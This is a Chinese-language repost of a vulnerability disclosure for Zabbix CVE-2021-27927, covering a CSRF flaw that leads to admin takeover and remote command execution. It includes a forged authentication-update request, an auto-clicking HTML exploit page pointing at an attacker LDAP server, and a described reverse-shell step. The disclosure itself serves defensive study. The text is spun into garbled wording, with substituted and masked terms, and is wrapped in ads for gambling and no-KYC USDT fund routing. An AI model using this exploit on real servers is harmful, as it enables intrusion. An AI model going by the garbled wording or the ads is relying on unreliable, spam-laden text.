皇冠体育寻求亚洲战略合作伙伴,皇冠代理招募中,皇冠平台开放会员注册、充值、提现、电脑版下载、APP下载。

首页科技正文

usdt官方交易所(www.caibao.it:详解CVE-2021-27927破绽:从CSRF到RCE

admin2021-03-2450安全技术漏洞分析

USDT第三方支付

菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

原文地址:https://www.horizon3.ai/disclosures/zabbix-csrf-to-rce

概述

Zabbix是一个企业级IT *** 和应用监控解决方案。在对其源代码的例行审查历程中,我们在Zabbix UI的身份验证组件中发现了一个CSRF(跨站点请求伪造)破绽。行使该破绽,攻击者无需经由身份验证,只要诱使Zabbix治理员点击恶意链接,就能接受Zabbix治理员的帐户。纵然浏览器设置了默认的SameSite=Lax Cookie珍爱,攻击者也能在所有浏览器中行使该破绽。现在,该破绽已在Zabbix 4.0.28rc1、5.0.8rc1、5.2.4rc1和5.4.0alpha1版本中获得修复。

破绽的影响

这个破绽的影响很大:虽然行使该破绽需要用户的交互,但乐成行使破绽就能完全接受Zabbix治理员帐户。获取Zabbix的治理权限后,攻击者不仅能接见 *** 上其他装备的种种信息,还能够在Zabbix服务器上执行随便下令。在某些设置中,攻击者甚至还可以在Zabbix监视的主机上执行随便下令。

CVSS向量:AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

在撰写本文时,互联网上约莫有20k个Zabbix实例,这些都是在Shodan网站上通过要害字“html:Zabbix”搜索到的。

解救措施

至少升级到Zabbix 4.0.28rc1、5.0.8rc1、5.2.4rc1或5.4.0alpha1版本。

靠山知识

CSRF破绽的行使原理如下所示:

首先,用户(受害者)已经登录到一个存在破绽的网站(目的网站)。在这种情形下,“已经登录”只是意味着用户的浏览器内存储了一个有用的会话cookie或目的网站的基本认证凭证,然则浏览器应用程序纷歧定需要打开。

接下来,攻击者行使社会工程来说服受害用户点击指向恶意攻击者控制的网站的链接。现实上,实现这一目的的方式有许多种,如钓鱼邮件,或谈天时发送恶意链接等。

当受害者接见恶意网站时,来自恶意网站的HTML/JavaScript代码会被加载到受害者的浏览器中。然后,这些代码会向目的网站发送API请求。由于来自恶意网站的请求在受害者的浏览器看来是正当的,因此,受害者的浏览器会将用户的会话cookie和请求一起发送给恶意网站。

恶意请求将转达给目的 *** 应用,然则,目的 *** 应用程序无法判断该请求是来自恶意的源。以是,目的 *** 应用程序将代表攻击者执行他们请求的操作。CSRF攻击通常会滥用与身份验证相关的操作,如确立或修改用户或更改密码。

CSRF的防御措施

在抵御CSRF攻击时,最常用的方式是使用反CSRF令牌。这些令牌就是随机天生的一段数据,并作为从应用程序的前端代码发送给后端的请求的一部门。之后,后端会同时验证反CSRF令牌和用户的会话Cookie。这些令牌可以作为HTTP标头传输,也可以放到请求正文中举行传输,但不能作为Cookie传输。若是实现不泛起纰漏的话,这种方式完全可以挫败CSRF攻击,由于攻击者很难通过手工方式确立包罗准确的反CSRF令牌的伪造请求。

对于Zabbix来说,其反CSRF令牌是以sid参数的形式通过请求正文来转达的。例如,下面是将Zabbix Admin用户密码更新为值zabbix1的请求:

若是sid参数丢失或不准确,该请求将失败。

此外,Same-Site cookie属性也能为防御CSRF攻击起到一定的作用。通过该设置,可以划定浏览器何时可以将cookie作为跨站点请求的一部门传输到站点。这个属性具有三个值,划分为StrictLaxNone

  • Same-Site = Strict:绝对不能将Cookie作为跨站点请求的一部门发送。
  • Same-Site = Lax:仅当Cookie是GET请求并影响顶级导航(即导致浏览器地址栏的更改),才将Cookie作为跨站点请求的一部门发送。单击链接被以为是顶级导航,而加载图像或剧本则不是。GET请求通常被以为是平安的,由于它们通常不会改变任何后端状态。
  • Same-Site-None:为所有跨站请求发送Cookie。

Web应用程序开发职员可以选择显式设置Same-Site属性的值,并将其作为在用户举行身份验证后将cookie发送到前端的一部门。若是未显式地设置该属性,现代浏览器会将其默认值设置为Lax——Zabbix就属于这种情形,由于Same-Site属性未设置,以是默以为Lax

,

usdt支付接口

菜宝钱包(www.caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

,

Zabbix CVE-2021-27927

如上所述,Zabbix使用了反CSRF令牌,这些令牌可以有用抵御试图行使添加和修改用户和角色等操作的CSRF攻击。然而,我们发现了一个主要的场景,在这个场景中,系统并不会对反CSRF令牌举行验证:对应用程序的身份验证设置举行更新时。

这个表单控制登录Zabbix时使用的身份验证类型,它可以是“Internal”或“LDAP”类型。若是是LDAP类型,还可以设置LDAP主机和端口、基准域名等LDAP提供者的详细信息。

然则,处置这个表单提交的后端控制器类CControllerAuthenticationUpdate却关闭了令牌验证,详细如下图所示:

此外,同样主要的是,我们发现在Zabbix中,通过POST在请求正文中提交的任何参数都可以等效地通过GET作为URL查询参数来提交。这意味着,下面缺少sid参数的、伪造的GET请求,与包罗sid的正当POST请求是等效的。

GET /zabbix.php?form_refresh=1&action=authentication.update&db_authentication_type=0&authentication_type=1&http_auth_enabled=0&ldap_configured=1&ldap_host=10.0.229.1&ldap_port=389&ldap_base_dn=dc%3D *** oke%2Cdc%3Dnet&ldap_search_attribute=sAMAccountName&ldap_bind_dn=cn%3DAdmin%2CCN%3DUsers%2CDC%3D *** oke%2CDC%3Dnet&ldap_case_sensitive=1&action_passw_change=authentication.edit&ldap_test_user=Admin&ldap_test_password=Z@bb1x!&saml_auth_enabled=0&update=Update

上面的请求的作用,是把身份验证类型改为LDAP,并设置种种LDAP属性。

Exploit

为了完成整个攻击历程,攻击者需要执行下列操作:

首先,确立一个由攻击者控制的LDAP服务器,这样目的Zabbix应用就可以通过 *** 接见该服务器了。在本例中,我们使用了一个地址为10.0.229.1的Active Directory服务器。此外,我们还在该服务器中设置了一个名为“Admin”的用户(与内置的Zabbix治理员用户名一致),其密码为“Z@bb1x!”。

然后,托管一个包罗恶意HTML页面的网站。在我们的例子中,我们确立了一个HTML页面,其中包罗一个带有伪造的跨站请求的链接。加载该页面后,该链接会通过JavaScript自动点击。这就知足了“顶级导航(top-level navigation)”的要求。

<html>
<body>

  <p>Any web site</p>
  <a id='link' href='http://192.168.0.140/zabbix.php?form_refresh=1&action=authentication.update&db_authentication_type=0&authentication_type=1&http_auth_enabled=0&ldap_configured=1&ldap_host=10.0.229.1&ldap_port=389&ldap_base_dn=dc%3D *** oke%2Cdc%3Dnet&ldap_search_attribute=sAMAccountName&ldap_bind_dn=cn%3DAdmin%2CCN%3DUsers%2CDC%3D *** oke%2CDC%3Dnet&ldap_case_sensitive=1&action_passw_change=authentication.edit&ldap_test_user=Admin&ldap_test_password=Z@bb1x!&saml_auth_enabled=0&update=Update'></a>
  <script>
    document.getElementById('link').click();
  </script>

</body>
</html>

最后,诱使被害者即Zabbix Admin用户单击指向恶意站点的链接。用户一旦受骗,Zabbix治理员就会看到站点上的身份验证设置被自动更新,详细如下所示:

此时,攻击者可以用自己的Admin用户凭证登录。顺便说一句,受害者Zabbix Admin的会话仍然是有用的,直到他/她注销为止。

这种特殊的CSRF攻击的一个有趣的地方在于,它不是“盲打”。这是由于Zabbix会使用测试用户和密码来验证LDAP服务器的毗邻,这是处置身份验证设置表单提交的一部门。攻击者可以通过Zabbix应用程序毗邻到他/她自己的LDAP服务器,从而立刻获悉CSRF攻击是否得手。一旦测试毗邻乐成,攻击者就可以自动登录到受害者的Zabbix服务器并举行进一步的操作。

远程下令执行

一旦攻击者获得了治理员权限,他/她就可以轻松地获得远程下令执行权限,由于这是该产物的一个内置功效。现实上,UI的Scripts部门,就是专门存放在Zabbix服务器、Zabbix服务器署理或Zabbix署理(署理运行在被Zabbix监控的主机上)上执行任何下令的。

例如,要在Zabbix服务器上获取一个反向shell,攻击者可以修改内置的Detect Operating Systems剧本,以添加如下所示的perl反向shell payload:

然后,在仪表板页面上执行该剧本:

获取反向shell:

凭证详细的设置情形,攻击者也可以在服务器署理或署理上运行远程下令。这方面的更多细节,请参考Zabbix文档。

时间线

  • 2021年1月3日,向供应商披露相关破绽。
  • 2021年1月13日,供应商修复了代码中的破绽。
  • 2021年2月22日,供应商为所有支持的版本提供了响应的新版本
  • 2021年3月3日,公然破绽细节。

参考资料

  • https://support.zabbix.com/browse/ZBX-18942
  • https://github.com/zabbix/zabbix/blob/79a8ae47e89eb0a468ccf917f19380a66938d75d/ui/app/controllers/CControllerAuthenticationUpdate.php
  • https://www.zabbix.com/release_notes
  • https://nvd.nist.gov/vuln/detail/CVE-2021-27927

网友评论